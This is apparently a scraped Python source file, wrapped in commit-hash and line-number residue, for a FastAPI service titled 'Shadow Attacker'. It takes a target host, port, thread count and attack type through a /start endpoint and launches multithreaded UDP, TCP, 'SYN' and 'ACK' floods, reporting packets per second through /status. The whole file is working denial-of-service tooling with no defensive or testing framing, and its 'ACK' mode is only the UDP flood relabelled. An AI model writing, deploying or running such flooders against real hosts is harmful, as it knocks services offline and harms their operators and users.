1
File size: 5,792 Bytes
9682c10
b146346
9682c10
 
308d273
9682c10
 
 
308d273
9682c10
 
9dc15dc
308d273
9dc15dc
308d273
9682c10
308d273
9682c10
 
 
308d273
9682c10
308d273
 
 
 
 
 
9682c10
308d273
9dc15dc
 
 
9682c10
 
 
 
 
9dc15dc
9682c10
308d273
 
9dc15dc
 
 
 
308d273
9dc15dc
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
9682c10
 
 
9dc15dc
 
 
 
 
308d273
9dc15dc
 
 
308d273
9dc15dc
308d273
 
 
9dc15dc
9682c10
 
308d273
 
9dc15dc
 
 
 
 
 
 
 
 
 
 
 
 
 
308d273
9dc15dc
 
 
308d273
 
 
9dc15dc
 
b146346
 
308d273
 
 
 
 
 
9dc15dc
9682c10
9dc15dc
 
 
308d273
 
9dc15dc
 
9682c10
 
9dc15dc
9682c10
308d273
 
9dc15dc
 
 
 
 
 
 
 
 
 
308d273
 
 
 
 
 
 
9dc15dc
308d273
9dc15dc
308d273
 
9682c10
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
import random
import socket
import threading
import time
from collections import deque
from typing import Dict, Optional

import uvicorn
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel

# Logging + state
import logging
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
log = logging.getLogger(__name__)

app = FastAPI(title="Shadow Attacker")

stop_events: Dict[str, threading.Event] = {}
counters: Dict[str, int] = {}
counters_lock = threading.Lock()
total_packets = 0
log_buffer: deque[str] = deque(maxlen=200)

def _log(msg: str):
    log.info(msg)
    log_buffer.append(f"{time.strftime('%H:%M:%S')} {msg}")

class StartRequest(BaseModel):
    target: str
    port: int = 80
    threads: int = 100
    attack_type: str = "udp"  # udp | tcp | syn | ack

class StatusResponse(BaseModel):
    running: bool
    attack_id: Optional[str]
    total_packets: int
    pps: float
    counters: Dict[str, int]
    logs: list[str]

# ---------------------------------------------------
# HIGH PPS UDP/TCP FLOODERS (NO RAW SOCKETS NEEDED)
# ---------------------------------------------------
def udp_flood_worker(attack_id: str, target: str, port: int, stop_event: threading.Event):
    global total_packets
    while not stop_event.is_set():
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            payload = random._urandom(1024)  # 1KB random data
            while not stop_event.is_set():
                sock.sendto(payload, (target, port))
                with counters_lock:
                    counters[attack_id] = counters.get(attack_id, 0) + 1
                    total_packets += 1
        except:
            pass
        finally:
            try: sock.close()
            except: pass

def tcp_flood_worker(attack_id: str, target: str, port: int, stop_event: threading.Event):
    global total_packets
    while not stop_event.is_set():
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(1)
            sock.connect((target, port))
            while not stop_event.is_set():
                sock.send(random._urandom(1024))
                with counters_lock:
                    counters[attack_id] = counters.get(attack_id, 0) + 1
                    total_packets += 1
        except:
            pass
        finally:
            try: sock.close()
            except: pass

def syn_flood_worker(attack_id: str, target: str, port: int, stop_event: threading.Event):
    global total_packets
    while not stop_event.is_set():
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(0.1)
            sock.connect_ex((target, port))  # Non-blocking SYN
            with counters_lock:
                counters[attack_id] = counters.get(attack_id, 0) + 1
                total_packets += 1
        except:
            pass
        finally:
            try: sock.close()
            except: pass

def ack_flood_worker(attack_id: str, target: str, port: int, stop_event: threading.Event):
    global total_packets
    udp_flood_worker(attack_id, target, port, stop_event)  # ACK sim via UDP

# ---------------------------------------------------
@app.post("/start")
def start_attack(req: StartRequest):
    if any(not ev.is_set() for ev in stop_events.values()):
        raise HTTPException(400, "Attack running")

    attack_id = f"{req.target}_{int(time.time())}"
    stop_ev = threading.Event()
    stop_events[attack_id] = stop_ev
    counters[attack_id] = 0

    # Map attack_type to worker
    workers = {
        "udp": udp_flood_worker,
        "tcp": tcp_flood_worker,
        "syn": syn_flood_worker,
        "ack": ack_flood_worker,
    }
    
    worker_func = workers.get(req.attack_type, udp_flood_worker)

    # Spawn threads
    for i in range(req.threads):
        t = threading.Thread(
            target=worker_func,
            args=(attack_id, req.target, req.port, stop_ev),
            daemon=True
        )
        t.start()

    _log(f"πŸš€ {req.attack_type.upper()} FLOOD β†’ {req.target}:{req.port} ({req.threads} threads)")
    return {"message": "Attack started", "attack_id": attack_id}

@app.post("/stop")
def stop_attack(attack_id: Optional[str] = None):
    if attack_id and attack_id in stop_events:
        stop_events[attack_id].set()
        del stop_events[attack_id]
        with counters_lock:
            counters.pop(attack_id, None)
        _log(f"πŸ›‘ STOPPED {attack_id}")
    else:
        for ev in list(stop_events):
            stop_events[ev].set()
            del stop_events[ev]
        with counters_lock:
            counters.clear()
        _log("πŸ›‘ STOPPED ALL")
    return {"message": "Stopped"}

@app.get("/status", response_model=StatusResponse)
def get_status(attack_id: Optional[str] = None):
    with counters_lock:
        cnt = {k: v for k, v in counters.items()}
        tot = total_packets
    
    # Calculate PPS (packets per second)
    pps = 0
    if hasattr(get_status, 'last_time'):
        delta_time = time.time() - get_status.last_time
        if delta_time > 0:
            pps = (tot - getattr(get_status, 'last_tot', 0)) / delta_time
        get_status.last_tot = tot
    get_status.last_time = time.time()
    
    running = bool(stop_events)
    aid = attack_id if attack_id in stop_events else None

    return StatusResponse(
        running=running,
        attack_id=aid,
        total_packets=tot,
        pps=round(pps, 1),
        counters=cnt if not attack_id else {attack_id: cnt.get(attack_id, 0)},
        logs=list(log_buffer)
    )

if __name__ == "__main__":
    uvicorn.run(app, host="0.0.0.0", port=8000)